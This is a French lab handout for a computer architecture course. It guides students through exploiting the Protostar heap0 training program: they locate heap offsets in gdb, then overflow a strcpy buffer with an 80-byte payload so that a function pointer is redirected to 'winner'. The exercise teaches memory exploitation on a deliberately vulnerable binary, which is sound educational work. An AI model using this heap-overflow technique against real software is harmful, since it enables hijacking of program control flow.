Architecture des ordinateurs
TP Tas

Récupérer le fichier `heap0_protostar.c` qui provient du site `protostar`. Etudier le code source et exécuter le deux fois avec une chaîne de caractère quelconque comme argument. Comme on peut le voir l'adresse des deux pointeurs est différente à chaque exécution, mais leur addresse relative sur le tas est constante (compter le nombre exact d'octet). L'objectif est de modifier le pointeur de fonction vers la fonction `winner`.

Recompiler le fichier avec l'option `-g` pour pouvoir utiliser gdb :
`$ gcc -g -o heap0_protostar  heap0_protostar.c`.
`$ gdb -q  heap0_protostar`.
Désassembler les fonctions `main, winner` et `nowinner` avec la commande `disass`.
Faire un break dans la fonction `main` juste avant l'appel à `strcpy` et lancer le programme avec la chaîne `AAAAAAAA` comme argument. Par exemple, pour l'instruction à l'adresse `main+103`, cela correspond à :

```
(gdb) break *main+103
Breakpoint 1 at 0x7a7: file heap0_protostar.c, line 36.
(gdb) r AAAAAAAA
Breakpoint 1, 0x00005555555547a7 in main (argc=2, argv=0x7ff..)
36   strcpy(d->name, argv[1]);
(gdb) x $rip
0x5555555547a7 <main+103>: 0xe8c78948
```

Faire un second break juste avant la fin de la fonction `main`. La phrase `data is at 0x555555756260, fp is at 0x5555557562b0level has not been passed` vous donne l'adresse où est stockée sur le tas la chaîne entrée en argument et celui du pointeur de la fonction pointée par `f`. Afficher le contenu du tas entre le début de `data` et celui de l'adresse de la fonction pointée par `f` (inclu). Dans l'exemple ci-dessus : `x/22x 0x555555756260` donne le résultat attendu. En effet, `0x5555557562b0 - 0x555555756260 = 0x50 = 80` et on a $80 \times 8 = 640 = 32 \times 20$. Ainsi 22 mots de 32 bits à partir de `0x555555756260` affichera les 8 premiers octets à partir de `0x5555557562b0`. Vérifier que c'est bien l'adresse de `nowinner` qui est stockée à l'adresse `0x5555557562b0` :

```
(gdb) x/2x 0x5555557562b0
0x5555557562b0: 0x5555472d 0x00005555
(gdb) x nowinner
0x55555555472d <nowinner>: 0xe5894855
```

Profiter en pour regarder l'adresse de la fonction `winner` et vérifier que cela correspond à ce que vous aviez obtenu lors de la commande `disass winner` et `disass nowinner` réalisé ci-dessus. Seul le dernier octet change entre l'adresse des deux fonctions (`2d` au lieu de `1a`), on a donc envie d'envoyer comme argument la chaine composée de 80 `A` (par exemple) suivi de `\x1a`, mais la fonction `strcpy` va rajouter le caractère fin de chaîne (code ascii `00`) qui va détruire l'octet suivant. Il faut donc entrer toute l'adresse de `winner`. On peut faire ça dans gdb à l'aide de la commande python suivante (relancer gdb) :
`(gdb) r $(python -c 'print "A"*80+"\x1a\x47\x55\x55\x55\x55"')`.